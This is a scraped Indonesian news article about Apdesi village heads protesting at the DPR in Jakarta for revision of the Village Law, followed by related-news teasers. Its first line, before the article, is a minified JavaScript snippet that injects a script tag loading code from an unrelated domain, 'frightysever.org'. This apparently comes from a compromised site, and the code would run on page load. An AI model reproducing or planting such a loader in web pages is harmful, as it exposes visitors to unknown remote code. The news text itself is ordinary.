(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, JAKARTA – Ribuan kepala desa dan perangkat desa dari berbagai daerah di Indonesia melakukan unjuk rasa di depan gedung DPR RI, Senayan Jakarta, Selasa (5/12/2023) siang.
Demo yang digelar Asosiasi Pemerintah Desa Seluruh Indonesia (Apdesi) itu mendesak percepatan pengesahan revisi Undang Undang Nomor 6 tahun 2014 tentang Desa.
Dalam aksi tersebut, sejumlah perwakilan kepala desa dan perangkat desa dari Provinsi Kalimantan Selatan (Kalsel) turut mengikuti aksi unjuk rasa tersebut.
Ketua DPD Apdesi Kalsel, Ahmad Rijali Nasution yang mengikuti unjuk rasa mengatakan, hasil dari tuntutan pihaknya mendapat respon positif dari DPR RI dan mendapat kemajuan yang menguntungkan bagi aparatur desa.
Baca juga: Serunya Nikah Massal di Banjarmasin, Pengantin Diarak Naik Becak ke Hotel Berbulan Madu
Saat aksi unjuk rasa, Ketua DPR RI Puan Maharani dan Wakil Ketua DPR RI Sufmi Dasco dikatakan telah menandatangani kesepakatan untuk membahas persetujuan DPR RI atas UU Nomor 6 tentang Pemerintahan Desa.
Di dalam kesepakatan tersebut, Ketua DPD Apdes Kalsel membeberkan bahwa DPR RI akan membahas revisi UU tersebut pada Januari 2024 mendatang atau satu bulan ke depan.
“Alhamdulillah sudah mendapat respon positif dari DPR RI untuk menyetujui tuntutan disahkannya Undang-Undang desa, mereka akan membahasnya pada bulan Januari 2024. Itu artinya tuntutan para kepala desa dan perangkat desa sudah disikapi dan tinggal pembahasan secara detail untuk bisa disahkan,” ungkap Ketua DPD Apdesi Kalsel, Selasa (5/12/2023) sore.
Terpisah Bendahara DPD Apdesi Kalsel, H Meri Apriansyah mengatakan, kesepakatan dan persetujuan DPR RI untuk membahas revisi UU Desa pada Januari 2024 adalah bagian dari keberhasilan perjuangan seluruh pemerintah desa yang ada di Indonesia.
Baca juga: Fun Social Bowling Timezone Meraih TOP Innovation Choice Award 2023
Hal itu juga diharapkannya berdampak positif bagi kesejahteraan aparatur desa dan masyarakat desa di Kalsel.
“Keberhasilan mendesak DPR RI, sehingga keluar surat persetujuan dan kesepakatan tersebut Insya Allah akan membuat pemerintahan desa menjadi lebih baik,” ujarnya.
Ia menilai, dengan adanya komitmen DPR RI untuk membahasnya di awal tahun 2024, tuntutan yang dilayangkan APDESI soal desakan pengesahan revisi UU Desa sudah terlihat ada kemajuan.
“Tinggal kita kawal agar nantinya bisa berhasil 100 persen,” pungkas lelaki asal Kabupaten Barito Kuala tersebut.
Baca juga: Janji Kampanye Capres Anies di Kalsel: Bangun Kereta Api dan Stadion Berkelas Internasional
Sebagai informasi, sebelumnya Apdesi yang merupakan perkumpulan para kepada desa dan perangkat desa di Indonesia menuntut disahkannya UU Nomor 6 tahun 2014 tentang Desa.
Ada empat tuntutan yang selama ini disuarakan Apdesi, yaitu terkait masa jabatan kepala desa, kenaikan anggaran dana desa, status perangkat desa, dan desa sebagai otoritas. (Kanalkalimantan.com/rizki)
Reporter : rizki
Editor : bie
KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Kabupaten Banjar menggelar kegiatan penyusunan dokumen Rencana Detail Tata Ruang (RDTR)… Read More
KANALKALIMANTAN. COM, JAKARTA - Komisi Pemberantasan Korupsi (KPK) menggali keterangan dari empat saksi dalam kasus… Read More
KANALKALIMANTAN.COM, BANJARBARU - Direktorat Reserse Kriminal Khusus (Ditreskrimsus) Polda Kalimantan Selatan (Kalsel) mengungkap sejumlah kasus… Read More
KANALKALIMANTAN.COM, MARTAPURA - Pengurus Lembaga Pengembangan Tilawatil Quran (LPTQ) Kabupaten Banjar melakukan audiensi ke Pjs… Read More
KANALKALIMANTAN.COM, MARABAHAN - Sejumlah pernyataan kontroversial dalam perhelatan debat publik kedua tiga pasangan calon (Paslon)… Read More
KANALKALIMANTAN.COM, BANJARBARU – Sejumlah Tempat Pemungutan Suara (TPS) di Kota Banjarbaru masuk pemetaan potensi kerawanan… Read More
This website uses cookies.